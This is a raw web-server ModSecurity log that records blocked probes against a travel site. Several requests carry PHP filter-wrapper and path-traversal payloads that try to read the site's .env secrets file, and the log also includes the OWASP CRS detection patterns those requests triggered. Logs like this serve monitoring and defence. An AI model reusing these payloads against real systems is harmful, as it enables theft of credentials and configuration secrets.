/?raw=1&template=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=QerbHQxn08ci3QCW8qOsEITgGlZF_4CVAnAYNEfROxhP9o4yq5xxu4YnMLot1wp6H3c8GFHxRoMbDuwj4M6hg1M0WN2ToCvlhpEWsOF-uw92MEMSXRl3CjDg6o9gz-lb62O56oexyJRF93ksG88uZeeX8ZgAC4sjTXBqWfmbGZmEbM6LTCpF_EZfUAKgeCHg0H5GGnSDJTT61I1NRQ6cvt3r5_0v4MV3VdqH8HBC0g1wwiApDrp9qbhb0spWjDl1B2nNVNhcHApRNW_rWtu700rN&sid=BDPH7KJCDMWEGWO2H7RIH2VHPZQ5NWUDNHSZ3HJRVNDFP..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRQAAAAY"]
[Fri Jul 17 08:55:11.477194 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRQAAAAY"]
[Fri Jul 17 08:55:11.477248 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&token=QerbHQxn08ci3QCW8qOsEITgGlZF_4CVAnAYNEfROxhP9o4yq5xxu4YnMLot1wp6H3c8GFHxRoMbDuwj4M6hg1M0WN2ToCvlhpEWsOF-uw92MEMSXRl3CjDg6o9gz-lb62O56oexyJRF93ksG88uZeeX8ZgAC4sjTXBqWfmbGZmEbM6LTCpF_EZfUAKgeCHg0H5GGnSDJTT61I1NRQ6cvt3r5_0v4MV3VdqH8HBC0g1wwiApDrp9qbhb0spWjDl1B2nNVNhcHApRNW_rWtu700rN&sid=BDPH7KJCDMWEGWO2H7RIH2VHPZQ5NWUDNHSZ3HJRVNDFPBSCGIINR22EH3WJYKEKIC27DAS..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRQAAAAY"]
[Fri Jul 17 08:55:11.477293 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&token=qerbhqxn08ci3qcw8qoseitgglzf_4cvanaynefroxhp9o4yq5xxu4ynmlot1wp6h3c8gfhxrombduwj4m6hg1m0wn2tocvlhpewsof-uw92memsxrl3cjdg6o9gz-lb62o56oexyjrf93ksg88uzeex8zgac4sjtxbqwfmbgzmebm6ltcpf_ezfuakgechg0h5ggnsdjtt61i1nrq6cvt3r5_0v4mv3vdqh8hbc0g1wwiapdrp9qbhb0spwjdl1b2nnvnhchaprnw_rwtu700rn&sid=bdph7kjcdmwegwo2h7rih2vhpzq5nwudnhsz3hjrvndfpbscgiinr22eh3wjykekic27das..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRQAAAAY"]
[Fri Jul 17 08:55:11.477320 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRQAAAAY"]
[Fri Jul 17 08:55:11.477344 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRQAAAAY"]
[Fri Jul 17 08:55:11.477689 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRQAAAAY"]
[Fri Jul 17 08:55:11.478715 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRQAAAAY"]
[Fri Jul 17 08:55:11.478845 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.479141 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBRQAAAAY"]
[Fri Jul 17 08:55:11.481566 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MgAAABw"]
[Fri Jul 17 08:55:11.482644 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MgAAABw"]
[Fri Jul 17 08:55:11.482794 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.483098 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-MgAAABw"]
[Fri Jul 17 08:55:11.484332 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&template=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&cb=csoA_E2wgs5YQpnuIdutncY3eQ0vOWgwgbkqHPO6Fq9M6LpDSnBfm3bOYqH6pR6KwFQBnFNEoFFXCgyVcczLiCLrfP3rhvt6HzCCPjb88rHsCI_o7TgrjdYQAKgn9loMpW6CVxAQD9ZvXIb5vsXhgTZ1V6R6LnigFDybfQ--zsNjkeVXeeGQKxmwsa3uqzgcz2CrqdzupBXdm4X9uQkfIOuly0k4wnZdUGfL2Oj3rRx0h8_y0x0eX5MWXIsUqbmaKEtO82dw_91YyANyKQ5Upuf6&debug=63BJHMJI3KJ645T67DGRKBOHTGE44HDPHZ4LOWEEQ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIAAAABQ"]
[Fri Jul 17 08:55:11.484372 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIAAAABQ"]
[Fri Jul 17 08:55:11.484431 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&cb=csoA_E2wgs5YQpnuIdutncY3eQ0vOWgwgbkqHPO6Fq9M6LpDSnBfm3bOYqH6pR6KwFQBnFNEoFFXCgyVcczLiCLrfP3rhvt6HzCCPjb88rHsCI_o7TgrjdYQAKgn9loMpW6CVxAQD9ZvXIb5vsXhgTZ1V6R6LnigFDybfQ--zsNjkeVXeeGQKxmwsa3uqzgcz2CrqdzupBXdm4X9uQkfIOuly0k4wnZdUGfL2Oj3rRx0h8_y0x0eX5MWXIsUqbmaKEtO82dw_91YyANyKQ5Upuf6&debug=63BJHMJI3KJ645T67DGRKBOHTGE44HDPHZ4LOWEEQA256OPSUTQ2BSDERHTZZCSZW7D4P..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIAAAABQ"]
[Fri Jul 17 08:55:11.484474 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&cb=csoa_e2wgs5yqpnuidutncy3eq0vowgwgbkqhpo6fq9m6lpdsnbfm3boyqh6pr6kwfqbnfneoffxcgyvcczliclrfp3rhvt6hzccpjb88rhsci_o7tgrjdyqakgn9lompw6cvxaqd9zvxib5vsxhgtz1v6r6lnigfdybfq--zsnjkevxeegqkxmwsa3uqzgcz2crqdzupbxdm4x9uqkfiouly0k4wnzdugfl2oj3rrx0h8_y0x0ex5mwxisuqbmaketo82dw_91yyanykq5upuf6&debug=63bjhmji3kj645t67dgrkbohtge44hdphz4loweeqa256opsutq2bsderhtzzcszw7d4p..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIAAAABQ"]
[Fri Jul 17 08:55:11.484502 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIAAAABQ"]
[Fri Jul 17 08:55:11.484527 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIAAAABQ"]
[Fri Jul 17 08:55:11.484866 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIAAAABQ"]
[Fri Jul 17 08:55:11.485881 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIAAAABQ"]
[Fri Jul 17 08:55:11.486010 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.486305 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sIAAAABQ"]
[Fri Jul 17 08:55:11.488529 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZwAAAAU"]
[Fri Jul 17 08:55:11.489576 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZwAAAAU"]
[Fri Jul 17 08:55:11.489730 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.489978 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AZwAAAAU"]
[Fri Jul 17 08:55:11.493954 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&template=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ts=xBGWC2hlUztJoeHCtALcr9V4PyoXJSrlQmZkPD4rJb1_efcpGegdH_--ZktMqIouFBjqZbq7TFwH4guO2Oc_XSYIOwzo3Pw8_pCSYkoYVrJU45OXCBHLEYv-JXDe4B3Ess57iMmsOmK_UGphr9D2VFfP_icES3A_ZHndNRMbNSrjWCA2VP-piguB_UqCTDnCASxyn3DaEoLhGdjk8_lPqXnCWYj7lunItkCpGNsFaAZkd603DT_DWyGRFT37VZA6v0oCqd_EeDoqyraLCEN5V3Sm&extra=DRTURV22GXCLLQ6BD4WE2AIY2AX3TQ2X7CUVM4Q6VKQXVOIMP4PLQJACKE..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yQAAAAw"]
[Fri Jul 17 08:55:11.494015 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yQAAAAw"]
